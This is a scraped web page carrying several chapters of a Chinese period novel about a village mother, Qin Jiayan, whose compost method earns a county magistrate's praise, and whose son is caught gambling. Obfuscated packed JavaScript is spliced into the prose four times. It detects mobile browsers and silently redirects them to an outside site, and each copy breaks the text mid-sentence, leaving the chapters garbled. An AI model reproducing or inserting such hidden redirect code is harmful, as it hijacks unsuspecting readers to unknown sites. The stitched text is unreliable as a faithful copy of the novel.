;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022122|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能让土结成硬块。”他给大家示范了好几遍,直到周围的人全看懂了才停下来。 “闻生。”李二柱恬着脸凑过来,“我看你家的地全都施完了,要不你这几桶借我去使使?” 一个大婶连忙提走一桶肥料,“二柱你咋这么好意思呢!当初你在闻生家门口闹的时候,咋不想想现在呢?” 一个坡脚大叔也连忙过来拎起两桶粪就往自己的田里跑,“怎的?我听说你那地还因为弄的太多,那玉米叶还黄着呢,现在你也用不了,抢什么抢。”他跑的飞快差点摔倒,还不忘回头对李闻生说:“闻生娃子,这桶粪水叔拿走了,回头和你娘说,我晚点给你家送些东西换!” “不用了叔,这也不是啥值钱玩意,你可慢点”李闻生笑呵呵的看着他的身影,“可千万别摔了,那就一勺粪水,没啥的,你不用拿东西啊。” 后面的人没有抢到,急的直拍大腿,几个小娘子直接凑到李闻生他们的几个身边,一下子把李二柱挤开,问他一些具体细节。 这一阵子,李家村热闹极了,每个人的嘴里都谈着肥料,大粪,就连小孩子都知道有屎尿一定要憋回家里。现在可真是‘肥水不留外人田了。’ “你别说,我这两天天天下地看,这秧苗是比平时窜的快了些!”那天抢粪的瘸腿大叔大声嚷嚷,脸上都挂着笑。 “你那是心理作用吧,就这么几天,哪能看出来啥?”旁边地里的胖妇人“啧”了一声。“你看我们家,这几天我们全家出动,把家里那几亩地全都施了那个什么肥料,啊对,秦娘子说,以后这叫农家肥,总是粪水粪水的叫着不好听!” 胖妇人的丈夫走过来,没好气道:“也不知道好不好使,你就全都施上了,我拦都拦不住,回头要是有什么问题,后悔都来不及!” “你啊!一点眼界都没有!”胖妇人压低了声音,“你没看见村长家,前几日就把所有的地都施上肥了么?听说还是李闻生他们几个亲自到他家弄的,要是没用,他能那么勤快?” 妇人的丈夫不敢吱声了,瞅着她趾高气昂的样子,自己又到旁边去拍土。 就你行!就你眼睛好使行了吧! 23. 第 23 章 顾毅这两天非常忙,他给贾胥写了个帖子,上面仔细的描述了肥料的好处和制作方法。 也许是他的名字在县里挂上了号,当他把帖子递上去的时候,门卫想都没想直接把他的帖子递了进去。 不一会,一个穿着青色主簿官服的男人快步迎了上来,手里还拿着一把半旧的羽毛扇。 “您就是贾大人口中的顾毅吧!在下主簿周闲,久仰顾先生大名!今天,你来得不巧,县令大人刚刚到下面村里,去看那水车安装的情况了。” 他的眼神里带着崇拜,引着顾毅往里面走:“顾先生您是不知道,您那水车图纸画出来后,咱县的旱田都浇上了水,今年秋天收成眼见着就要翻一番。前几日我去乡下巡查,那些村子里的人,一个个乐开了花!” 到了前厅分宾主坐下,周闲亲自给顾毅倒了茶:“先生这功劳可太大了。县太爷上周就把水车的详图和几个最巧的木匠都送进京了,这等利国利民的法子,迟早要在全国推广开!” 他凑近了些,压低声音却难掩兴奋:“不瞒先生说,咱们贾县令这几年在县里实心做事,就缺这么个机会。这次靠着您这水车,政绩一出来,高升是板上钉钉的事,说不定明年就能调回京城去!到时候咱们这些跟着县太爷的,也能沾光挪挪位置,总好过在这小地方熬着。” 顾毅看着他的样子,心里也跟着高兴,连忙接过他手里的茶灌了一大口,“周先生过奖了,提出这水车的主意并不是在下,而是我表姐。我不过是帮着做出来而已。” “你表姐也是有想法的人啊,只可惜是个女子,这要是男子,将来也必然是国之栋梁!可惜了,可惜了!”周闲这才把他的帖子递过来。 “刚才我就匆匆看了一眼,一见你的名字就迎了出来。先生这次来是要做什么?” 顾毅连忙起身向周贤鞠了一躬,“”周先生,您先仔细看一下贴子,我们村里有人研究出了能使庄稼高产的好方法。” “哦,是吗?你们村里真是能人辈出啊!”周贤赶紧打开帖子,仔细的读了一遍。“好!好!好!”他兴奋的直拍大腿。 “我这就派人把这帖子给贾大人送过去。这要真像你说的那样。大人一定会高兴死的。” 他赶紧出去找到一个小衙役,让他快马加鞭的将铁子送到贾知县手里。 周闲反复和他交代:“记住,你一定要亲手交给他,让他仔细看!看完他保准会回来的!” 那衙役点点头,取了一匹快马,拿着帖子一路快马加鞭往贾大人那去了。 他赶紧回到前厅,对着顾毅鞠了一躬,“先生不如在这多等一些时候,我相信大人看到您的帖子一定会快马加鞭的赶回来。” 顾毅微笑的点点头,他也有一些细节想跟贾县令好好的聊一聊。“那就劳烦周先生了,在下就在这等着他回来。” 周闲马上又给他续了一壶茶:“先生是赶上好时候了,遇着贾县令这样的清官,他心里装着百姓,修水渠、减赋税,就连上次朝廷拨下的赈灾粮,都一粒不少全发到了农户手里,咱们做下属的看着都心服。” 话锋一转,他往门外瞥了眼,声音压得更低:“可这话我只跟先生说,要是县太爷真调走了,按规矩该是县丞王大人顶上来。那位大人......唉,他眼里只有银子和官场门道,真让他掌了权,咱们县刚缓过来的日子,怕是又要......” 羽毛扇在掌心转了半圈,周闲摇了摇头,又很快打起精神笑道:“不说这些丧气话。反正县太爷还在,先生尽可能的多来这走走,等先生日后中了举,我们县还能跟着借个光呢!” “你说的言重了,在下如今连秀才还不是,等到中举,也不知道是哪个年月了。”顾毅谦虚的喝了口茶。 茶还没有凉,就听到门外传来了急切的声音,“快快快,他人还没走呢吧?” “没有走,老爷,您慢点,周先生在陪着他说话呢!” 顾毅急忙起身,和周闲一起迎在门前。不一会,就从门外伸进了一个皂靴,“顾毅,你真行啊!这才几天就给我研究出这么好的事!” 贾胥用手抬起了顾毅行礼的胳膊,眼睛亮晶晶的看着他,“来,你跟我说说,那个施肥是怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029244|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回事?真能让粮食产量提高那么多?” 顾毅笑了笑:“是的大人。”他退后一步,又重新给贾胥行了个大礼,“贾大人,这法子不是在下想出来的,想到这个法子的人是秦娘子。” 贾胥点点头,“又是她,听说水车的想法是她想出来的,是你和木匠做出来的。” “是的,大人,小人不敢欺瞒大人,水车当真是秦娘子想出来的,小人不过是完善一下” 他顿了顿,眼睛里都带着几分自豪,“至于这堆肥的法子,小人就没有插手了,只不过将她的方法整理出来,呈现大人您。” “好!好!好!”贾胥熏了一下胡子,“真是巾帼不让须眉啊!我一定得好好奖赏她一下!” “来人,帮我把县里的官员都喊过来,我有事情要宣布。”他交代了一下身边的小吏,转头对顾毅说:“今日我就不多留你了,我得赶紧把这肥料一事交代下去,改日我定当登门对你们好好道谢。” 顾毅赶紧抬手:“大人真是太客气了,在下万分惶恐,只怕在下还有一事想委托大人。” “哦?何事?”他眯起眼睛问。 “就是这个法子,还想请大人帮着保密,不要将秦娘子和在下的名讳公布出去。虽然这是好事,但也害怕有心人利用。” 贾胥想了一下,点点头,“我明白,木秀于林风必摧之,本来还想奖赏你们一块牌匾,要是这样,不如直接赏赐一些银子来得实惠些。” 贾胥送走了顾毅,赶紧和几个手下商量下肥料的事。 “你看我们怎么样能把这个施肥的方法尽快推广出去?”贾胥把手里的帖子递给他们传阅一圈。“要不我们把各村的村长里正都叫过来,或者直接在衙门口贴告示?” “大人,此事我认为万万不可。”刘县丞打断了贾胥的话,“先不说这件事还没有个定论,也没到秋收的时候,单说谁都没看见那个产量,谁知道是不是那群人在瞎忽悠。” 他不削的把帖子丢了回去,“这肯定是那些该死的愚民,想要随便找个由头来骗赏钱的。大人你可千万别被蒙骗了啊!” 24. 第 24 章 贾胥的脸阴沉下来,他知道这刘县丞是个什么样的货色,这些年但凡是为民谋利的事,他没有一件不反对,正事一件不做,使坏下绊子倒是一顶一。 他能容忍这么久,也是因为这个刘县丞是当地总兵府出来的。上面的人作为权衡放到他身边,不能让他一人独大。但现在…… 他把帖子“啪”的一声重重的拍在桌子上,吓的旁边的小吏都抖了一下,“是不是真的,派人下去一瞧不就知道了,还能有人敢在这上面做文章不成?再说这顾毅我也认识,就是做水车的那个人。我一看这帖子是他送过来的,就知道这是准保行。” 他瞥了一眼刘县丞,继续说道:“你们把贴子完整的看过了吗?我可在回来的路上看了好几遍。这上面说的肥料也不需要什么值钱的玩意,就是一些粪水一些土而已,就算不成也就搭些功夫。要是成了明年的粮食产量上来了,我们对朝廷上是不是有个更好的交代?” 刘县丞老神在在的把眼睛抬了抬。“大人,我不是要反对你做这件事。只是我们谁都没有看到粮食的产量真正提升上来了,现在说出去也没人信。粪水是不花钱,但那都是一些乌七八糟的玩意,这处理不好在传出些时疫来,那可怎么是好。” 其他人不敢在说话,都小心翼翼的直视地面,没看见,他们的县老爷的脸都快黑成锅底了么?! 周先生想了想,还是鼓起勇气颤颤巍巍的上前一步,“大人,我觉得这事行,我们不能因噎废食,觉得有其他风险就不去做。”他甩了下袖子,指着门口,“那顾毅我也看到了,不说一表人才,一看做事也是极靠谱之人,他要是没有十分把握,是肯定不会来的。” 他像贾胥鞠了一躬,“大人,眼下百姓最在乎的就是能不能吃饱肚子,若是这法子真能让地里的粮食多打些收成,家家户户能吃饱穿暖,那可真是天大的恩德,百姓们定会感念不尽啊!” 贾胥的脸色好了一些,抬手把帖子拿起来,“这样吧!”他看了眼刘县丞叹了口气,“唉,要是有人不放心,今年就只拿官田试试。” 他顿了顿喊周闲上前,“你一会带几个人,去李家村看看,是不是真像顾毅说的那样,再带几个有经验的人回来。不要喊顾毅,秋闱剩下的时间也不多了,要他好好温习温习。” 他想了想摘下自己的随身玉佩放到他手里,“你帮我把这个给他,告诉他日后无论有任何事都可以来找我。” 他不放心的又小心在周闲耳边交代几句,刘县丞抬眼一看,没有吱声。这贾知县真是不知道好歹!他都要走了,还在这抢着功。他倒不是反对这肥料的事,只不过着事的功劳又没落到他头上,他凭什么要替他人做嫁衣! “大人要是没有又什么事,下官就先下去了,我还有许多政务要忙,就不多陪大人了!”刘县丞向贾胥鞠了一躬,甩甩袖子离开了大厅。顾毅是么?他记住了! 周闲刚到李家村,就被村口热闹的景象惊呆了,这,这怎么这么多人? 李家金蛋的名声已经在镇上传开了,这几日,总有一些镇上的大户人家遣人到李家村买金蛋。 没办法,金蛋和五香鸭蛋实在太火了,它不像卤煮那样每天都有,总是要隔上十天半个月才能出一批,每次刚到,就被哄抢一空。 好几个人家的夫人、小姐,因为早上没有金蛋和五香鸭蛋吃而烦闷,以前没有的时候,也不觉得啥,现在有了金蛋,也能早上喝粥的时候配上一个,那滋味,就算天气在炎热,也能下点饭。集市上又买不到,没办法,只好派人直接到秦嘉言家里直接取货。 “我知道你们着急,我也不是不愿意卖,可是真没有好的。”李水生急得在院子里面直解释,他娘和媳妇都去镇上卖卤煮了,家里就剩下刘菇和这几个爷们看家。 前院来来回回走动的人太多,不只是这些大户人家的马车,还有一些外地的游商。 那些游商不知怎么的,打听到了秦嘉言的住处,成天在李家村附近转悠,都想一次性多订一些金蛋拿到别处去卖。 村里那个瘸脚李老栓非常机灵,脑子一转,直接在村口搭了一个茶棚,还特意平整了一块空地,当马车临时存放处,一个马车就收5个铜板,还包草料。 这些人过来,又个落脚的地方,又有人帮着喂马,十分满意,五个铜板又不贵,能买得起金蛋的人,哪还能差这几个铜板。 村里的小孩子现在也高兴极了,天刚微微亮,他们就跑到山里去打草,背上满满一大筐回来,就能在李老栓那里换两个铜板,给家里能贴补一些家用。 手脚勤快的孩子,还能在打草的时候再捡一些稀罕山货,放到李老栓的茶棚旁边的空地上,铺上块破布叫卖。那些人买不到金蛋,也不想空手而归,每次也会在他们的摊子上买一些东西回去。 他们把山菌和笋子在河边仔细洗干净,看起来就比镇上的那些土货好看,每次一摆出来就被一抢而空。 村里的猎户上山打猎回来后,也不用在费劲往镇上赶了,直接把东西丢个那几个小孩,在给他们几个铜板,让他们帮着代卖,自己还能往更深的山里面去看看。 村长李长贵也会在不忙的时间在这里招呼客人,前些天秦嘉言可跟他提了一嘴,等她能在镇上开食肆的时候,就把金蛋和五香鸭蛋的秘方交给村里,还说这叫“带动村里人发家致富。” 他眼看着一辆马车停在了茶棚边上,这年头能用起马车的都是贵人,他连忙招呼李老栓上去给人递茶。 说是茶,其实也是秦嘉言研究出来的玩意,把茶叶放入羊奶和水,再加一勺红糖,就能煮满满一大壶。 红糖放的不多,只有一小块,但加上羊奶,就喝不出粗茶的涩味。茶叶也很好地中和了羊奶的膻味,羊奶的醇厚和红糖的甜混在一起,算不上多惊艳,但总觉得有滋有味。 有些人喝好了,去问李老栓做法,回去就给家里的夫人小姐煮上一壶。夫人和小姐都十分高兴,还给打赏了不少钱。 周闲接过李老栓递过来的茶碗,喝了一口,眼睛一亮。“哎,这玩意儿好喝,这是羊奶吧,怎么一点儿也不不膻。”他三两口喝完,抹了把嘴,“给我再来一碗,这赶了半天的路,真解渴!” “贵人,您来我们村是要干什么?”李长贵从摇椅上坐起来。“订金蛋的话,还得等五、六天,订五香鸭蛋的话应该今天下午就好。不过今天下午的排号都没了,你可以明天再来碰碰运气。”他笑呵呵的招呼周闲一行人,以为他们也是外地来的游商。 “老人家,我不是来买蛋的,我是想找秦娘子或者顾毅的。”周闲客气的朝李长贵鞠了一躬,“请问他们是在这个村子吧?” “啊,并不是买蛋啊?”李长贵有些失望,他敲了敲手里的烟袋,撇了眼周闲。这人长的一本正经,穿的也是长衫,一看就不像那些大户人家跑腿的,不会又是想要那金蛋的秘方吧? 这些天村里来了几批这样的人,就连小渔村的乔三爷都派人过来,说想请秦嘉言一聚,都被秦嘉言打发回去了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045895|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李长贵捋了捋胡子,警惕的眯着眼睛看向周闲,“秦娘子这会儿可不在,我是这个李家村的村长,有什么问题我也可以转达,请问您是要?” 周闲立刻把县令的帖子递给他“在下周闲,是镇上的主簿,是贾县令让我来的。一来是要看看你们村前些日子研究的那个‘肥料’效果如何,二是向请秦娘子帮我找几个人帮忙弄些肥料,县太爷想拿县里的官田试试。” 哎呦!我的天!是官老爷!李长贵吓的差点从摇椅上摔下来。“这...这是县老爷的帖子。”他用手蹭了蹭自己的衣襟,颤颤巍巍的接过了名帖看了一眼。 帖子上面盖着方方正正的大印,就和他平时在县衙门口看到的告示一样。 “哎呦,老爷,您也不早说。”他低着头,赶紧招呼李老栓续上茶。来送草的小孩子在马车边围城一团,眼睛亮晶晶的看向周闲他们几个人。 周闲笑呵呵的送怀里掏出了一块麦芽糖分给他们。小孩子们得到糖一哄而散,笑嘻嘻的往他的马嘴里塞了几把草。 李长贵躬正身子给周闲行了个礼。“这位官老爷,这秦娘子和他儿媳妇们去镇上摆摊儿了。约么晌午就能回来,你要不到我家里去坐坐。我让老婆子给你准备点好菜。” “老人家不用这么破费了。我在这里等她就好。”他忽然又想起了贾胥的第一个吩咐。“你是村长?要不你带我去村里看看?我想知道施了肥料的庄稼长得怎么样?” 村长连忙交代李老栓把这几个人的马都照应好,自己则带着他们往田里去。“那感情好。我这就带几个贵人去看一看。” 周闲笑呵呵的应了声好,他身后两个年轻随从也跟过来,一个把马的缰绳交给了李老栓,一个背着个布包,脸上都带着笑,没一点官架子。 周闲步子迈得大,跟在李长贵身后,眼睛扫过路边的菜畦,“今年雨水少,你们村这菜看着倒还行。” 李长贵赶紧领着他往前面走,心里松了口气:“都是托了秦娘子的福,福,村里大部分人家今年都施了肥料,这菜长的特别壮实。”他见周闲微笑着点点头,胆气壮了点,又说,“你看,这那片地原来离河岸比较远,是村里最贫瘠的地方,今年秦娘子她们研究出了水车,又施了肥料,这地现在养的比河边的良田还要好!” “哦?那我得好好瞧瞧。”周闲来了兴致,加快了脚步越过李长贵。 到了地头,李长贵先指了指旁边的地块:“大人您看,这是老张家的地,跟秦娘子家那地是一块分的,土性一样。您瞅瞅这麦子,稀稀拉拉的,杆儿细得跟柴火似的,叶子还打卷。这老张头早些年因为地的事,和秦娘子闹出些矛盾,这次他还不想用秦娘子的法子施肥,我看他啊!就是一头犟驴,有他后悔的时候!” 周闲蹲下身,扒开麦丛看了看根部,土是黄白色的,攥一把能硌得手疼。“这麦子是瘦了点,这土不肥啊!” “可不是么!你说他拿庄稼呕什么气,前一阵还说不使水渠和水车,昨天还不是偷偷的打开浇了地,要不这麦子早就枯了。”李长贵引着他往隔壁走,“您再看秦娘子家这地。” 一脚踏进秦嘉言家的麦地,明显感觉不一样。麦子齐整整的,比旁边高出小半尺,杆儿粗得能赶上手指,风一吹,沉甸甸的麦穗晃悠着,穗粒看着就壮实。 周闲“咦”了一声,往前走了两步,伸手撸了片叶子,指尖捻了捻,又弯腰扒开根部的土。土是黑褐色的,松松软软,还带着点潮乎气,凑近闻闻,有股淡淡的鸡粪味。 25. 第 25 章 “她家这地肥啊!”周主簿眼睛亮了,回头问李长贵,“你确定她家这快地和旁边那块地原来是一样的?” “千真万确!这两块地原来一模一样,离水边远浇不透水,地还不肥。一年到头打不了30斤庄稼。”李长贵也蹲下来,指着麦垄间的土:“你现在看着黑乎乎的,那是粪水拌的细土” 周闲点点头,他就说顾毅是个靠谱的人,你看着庄稼对比的多明显!今年要是让周边的村镇都用上这种方法就好了,可惜了!都怪刘县丞! 旁边一个年轻随从掏出个小本子,笔尖在上面划拉着,问道:“李村长,她这做肥料的时候,加了啥特别的东西没?还有什么需要注意的?” “加了加了!”李长贵赶紧说,“这肥料不能直接用,得加水还有细土!之前我们村有个人直接把鸡粪挑到地里,结果都烧苗了,费了好大劲才救回来,今年收成指定受影响。” 李长贵在一旁看着他记得特别仔细,心里美滋滋的,又有点紧张:“还有就是这肥料下了以后,要勤着过来拔草,以前一年就拔那么一两回,这肥料施下去,野草窜的比庄稼还快。我现在每天都得去地里溜达一遍,看见长出来的草就薅掉。” 周闲点点头,那肯定的,肥料对庄稼有用,对那些野草肯定更有用了! 李长贵指了指地头的草堆对他们说:“大人,你们看,这薅下来的野草就推在这里,沤烂晒干。等来年春天拿火烧成灰,又是顶顶好的肥料!” 正说着,就见顾毅领着秦嘉言从地头赶过来。 “周先生!”顾毅抬手把袖子理了理,拱手道:“这大热天的,您比我到的都快。” 周闲回身看是顾毅也微微弯着腰回了礼,“我这是快马加鞭直接从县衙过来的,肯定比你快!”他笑了笑直起身,向秦嘉言也行了个礼:“这位便是秦娘子吧?在下县衙主簿周闲。” 秦嘉言屈膝福了福,动作不卑不亢生,声音清亮:“见过周主簿,我刚到村口,就听到有人说你要见我,我就赶紧过来找你。” 周闲看秦嘉言落落大方,不似李长贵那样怕他,心里暗赞一声,面上却没露太多,只抬手摆了摆:“不必多礼,今天我就是来看看你们研究出的肥料怎么样,想跟你好好学习学习,好在官田里试试。” 秦嘉言听这话,松了口气,“大人能来,是我们的福分。”她说着,眼睛瞟了眼顾毅,见他神色平静,心里又稳了稳。 “大人有什么问题尽管问,民妇一定知无不言。”秦嘉言大概猜到几分,之前顾毅给县里写帖子的时候,也征得她的同意。 周闲脸上的笑意深了些,从袖袋里摸出一个名帖,递过去:“还是秦娘子爽快。实不相瞒,在下是奉了县令大人的命,给二位送些东西。”他见顾毅接过帖子,又道,“这是县里拟的嘉奖文书,还有些绸缎和粮食,都放在马车里,一会我让衙役送到你家去。” 李长贵也凑过来看了眼,乐的眉眼都弯了起来:“秦娘子,你太厉害了,还能有这等好事!回头我就把这帖子放祠堂里去!” 秦嘉言心里倒没太多波澜,她做这些,本就是为了日子能好过点,能让地里多产些粮食。但县里能给这份体面,她还是感激的,便又福了福:“多谢大人,多谢县令大人。我们不过是瞎琢磨,实在当不起这份嘉奖。” “当得起,怎么当不起。”周闲摆了摆手,语气恳切了些,“秦娘子就别谦虚了。你们村西头那架水车,谁看了不竖大拇指?就说那肥料,撒下去,麦子比往年能多收两成,这可不是小事。” 他顿了顿,往前凑了半步,声音放低了些,眼睛却看着顾毅说:“其实,县令大人本想送块牌匾给你,可是后来一想,怕有心人利用,再让你一个女子不好过,就把这些嘉奖都变成实打实的绸缎和粮食了,一会你去看就知道,那绸缎也是平常人家常用的款式。” 秦嘉言点点头,“县令大人真是有心了,民妇感激不尽。” 周闲笑了笑,脸上露出尴尬的神色:“其实今日来,除了送嘉奖,还有个不情之请。”他抬手像秦嘉言鞠了一躬:“还想请二位帮着指几个能干的人,去镇上教会我们的农官,光是听刚才村长给我们讲的步骤,就知道这里头还是有几分门道的。” “那有啥难的,我这就回去告诉咱家那几个混小子准备准备,明天就去县里报道。”她有条理的说着:“不过大人们要是不嫌弃,还得准备个大点的地方,最好粪水准备的足些,好让他们做演示。” 周闲闻言,脸上的褶子都笑开了:“那太好了!太好了!您放心,人手、粪水县里都能安排!”他说着,又拱了拱手,“今日就不叨扰了,一会我让他们俩把嘉奖的东西送到你家里去,正事也说了,我这就回县衙回话去。” 秦嘉言和顾毅也连忙拱手还礼。看着周闲带着衙役转身离开,秦嘉言才松了口气,转头看向顾毅,见他正望着那片田地出神,嘴角带着点笑意。 “想什么呢?”她问。 顾毅转过头,眼里亮堂堂的:“在想,要是全县的地都用上这肥料,明年该能多打多少粮食。” 秦嘉言笑了:“会有那么一天的。” 顾毅深情看着她,手轻轻的抬起来,把她肩膀上沾上的土拍下来。 秦嘉言拍开他的手,脸上微微发红:“走吧,我还得赶紧回去和李闻生他们说这事呢!” 又过了两日,秦嘉言就像当初他跟李长贵说好的那样,把金蛋制作方法交给了李家村的人。也不白教,学会金蛋制作方法的人要在她家帮忙一个月,她在家里后面空地的位置盖了一个大仓库留着放金蛋,这些人正好能帮上忙。 李金生看见他娘把这生钱的法子教给别人就气不打一处来。 “娘!”他喊了一声,声音里带着憋不住的火气。 秦嘉言在洗下水,听到他的声音没停手,头也不抬地哼了一声:“怎么了?嗓子眼里卡鸡毛了?喊那么大声。” “那做金蛋的法子,你当真的教给村里人了?”李金生往前凑了两步,眼睛瞪得溜圆。 “怎么着?我教给谁,还得跟你报备?”秦嘉言拍了拍手上的水,围裙带子往腰间紧了紧。 “前这日子乔三爷派人来,捧着一百两银子要买下这法子,您把人轰走了!我当您是想留着自家用,让咱日子好过些,结果呢?您倒好,现在免费教村里人!”李金生越说越急,声音又拔高了些,说完却偷偷瞟了他娘一眼,见她眉头皱起来,心里咯噔一下,有点发怵。 “你又跟乔三的人有联系了?”秦嘉言往前走一步,李金生就往后退一步,“没,没有。”直到他后背抵着石磨,退无可退。 “我听村口的几个大婶说,昨天王麻子鬼鬼祟祟出现在村口,不知道再跟什么人说话?”秦嘉言拿着棍子指着他,一个字一个字的说:“我看就是你吧!” “娘真不是你想的那样!”李金生立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049334|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻跪了下来,“他就是来我问,那个金蛋怎么做的,我没搭理他。”他拽住秦嘉言的衣角使劲摇,“娘你相信我,我真的一个字都没说。” 秦嘉言用脚踢开他:“钱是好东西,但得拿得踏实。你记着,在这村里过日子,人心比银子金贵。还有,以后要是被我逮到你在和乔三那帮人有联系,我就把你的腿打断,赶出家门!” 李金生心虚的从地上爬起来。“娘我不能,不能在跟那些人来往了。你就放心吧。” 秦嘉言瞥了他一眼,没有说话,他以为她不知道他最近去赌场的事吗?只是现在家里太乱,她没有时间收拾他而已! 这些日子他大哥带着他们兄弟几个几个去县衙帮忙做肥料,他悄悄的出去好几回,有一次还被李闻生在赌场门口当场逮住。 他的胳膊还没过赌场大门,后领就被人死死攥住。他惊得一哆嗦,回头见是大哥李闻生那张铁青的脸,腿肚子当时就软了。 “哥,哥你听我说。”李金生声音发飘。李闻生没说话,就那么盯着他。 他们帮着县衙后院拉粪水到晒肥场,日头晒得脊梁脱皮也要教会那些农事官肥料的比例,李金生倒好,转身就钻进这乌烟瘴气的地方。 “我就,就来看看,没敢赌多少。”李金生往后缩,后腰撞到门框,疼得龇牙,“大哥!是我不对,我鬼迷心窍了,哥你信我这回,我真的再也不来了!” 他见李闻生还是不动,扑通就跪在了地上,膝盖砸在青石板上,闷响一声。“我真知道错了!我这就跟你回去,从今往后我好好干活,家里的地我多耕两垄,你让我干啥我就干啥,我洗心革面,真的!” 眼泪混着脸上的汗往下淌,滴在地上晕开一小片湿痕,李金生哭得直抽气,说话都打颤:“你别告诉我娘,她要是知道了,指定得把我赶出家门,哥,求你了,再给我一次机会。” 李闻生的手攥得咯吱响,喉结滚了滚,突然扬手就扇了过去。 “啪”的一声脆响,李金生被打得侧倒在地上。他懵了,捂着脸抬头,眼里全是血丝:“哥,你,从来没打过我!” “没打过你?”李闻生的声音哑得厉害,带着气狠了的抖,“就你这一天天不争气的样!要不是娘交代让我好好看着你,我才懒得管!”他蹲下身,一把揪起李金生的衣领,“上次我跟你说的话你都当耳边风?你是不去小渔村了,可这里还不如小渔村呢!” “是,是我不对,哥,我错了。”他哭出声,眼泪鼻涕糊了一脸,“我保证,我以后指定不赌了!我发誓,在赌你就剁了我的手,我,我明天多干些活” “不用了。”李闻生松开手,李金生重重摔回地上。他站起身,拍了拍被李金生蹭上灰的袖口,“县衙这边,你不用再来了。” “哥!”李金生猛地爬起来,抓住李闻生的裤脚,“我不去赌场了还不行吗?我跟你去晒肥,我去挑粪水,再臭再累我都干!” “你干?”李闻生低头看他,失望的看着他,“你能干啥?干着干着,转头又钻进这里来?我一会跟娘说,让你在家跟着盖房,有娘盯着,总比在这里学坏强。” “我不回去!”李金生急了,手抓得更紧,“你这么说娘肯定知道怎么回事,她会打断我的腿的!” “你早干啥去了?”李闻生抬脚甩开他的手,“现在知道害怕了?你说大家给你多少次机会了?弟妹到现在还不肯理你吧?你怎么就这么不争气!” 26. 第 26 章 李金生趴在地上,看着李闻生转身就走,一步都没回头。他想追,可腿像灌了铅,脸上的疼一阵阵往上涌,心里头却更慌。他知道,大哥这是真对他死了心了。 很快李家村家家户户都摞起了大坛子。周围村子都跟着借光,鸭蛋卖的都比平时要贵上一两文。 到八月末,来李家村买金蛋的人越来越多,有附近村子里的,有县城的,甚至还有少数从更远的地方过来的。 待到金蛋这个东西在平安镇中彻底流行起来了以后,其他周边的城镇,很快也就得到了消息,最早是有些富户商人,赶着牛车马车过来采买,后来又有一些成群结队的脚夫过来背上一筐金蛋,去周围镇上去卖。 这些天一直在下小雨,李老栓的茶棚外都能停三四个马车,来的人都在等今天哪家能出一批金蛋。 李家村来来往往买金蛋的人比较多,秦嘉言就给大伙出了个主意,村里出钱把李老栓的茶棚重新修整了一番,盖成了像模像样的三间瓦房。 正房不但摆上了桌椅,还在正中央的墙上做了一个大木板,上面订上许多小钉子。每家都刻了一个小牌子。村里有谁家的金蛋或者五香鸭蛋好了,就把牌子挂到上面。到时候村里的小童就会把买蛋的人直接引到那家去。 村里其他人也会看到谁家鸭蛋的出货时间,刻意晚几日再去腌制,也省的和其他人撞车。 耳房也被改成了几间屋子,远道而来的商人,可以在耳房住下,歇息几天。一天只要20个铜板,比镇上的酒楼要便宜许多,又安全,每天都是爆满。 村里一些心思活络的人家还会把人领到家里,也是20个铜板一间屋子,但会包早、晚两顿饭。 村里这阵子人人脸上都带着笑,谁一看见秦嘉言就拉住她,感谢的话一箩筐的往外说,吓得秦嘉言都不怎么敢在村里走动了。 这天日头正好,李家院里飘着卤煮的香味儿有阵子了,儿媳妇们手脚勤快,每日推着摊子去镇上,竟也攒下不少银钱。 眼下金蛋的单子被村里人分担一部分,家里面也没有那么忙了,秦嘉言揣着钱袋,对着儿媳妇们说:“走,今儿不出摊了,你们都跟我去镇上,我给你们添两身衣裳。” 几个儿媳妇高兴的不行,尤其是刘菇,自从她嫁过来,还没有添置过衣裳呢! 顾毅也从西屋走出来,看着秦嘉言,“正好我也要去镇上买些笔墨,我也跟你们一块去吧,路上也有个照应。” 水车完成时,顾毅本想去镇上租个房子,等待秋闱,秦嘉言欲言又止的看着他,最后还是开口把他留下。“租房子费那钱干啥,家里又不是住不下,你就安心的住到考试,等秋闱过了再搬走也不迟。” 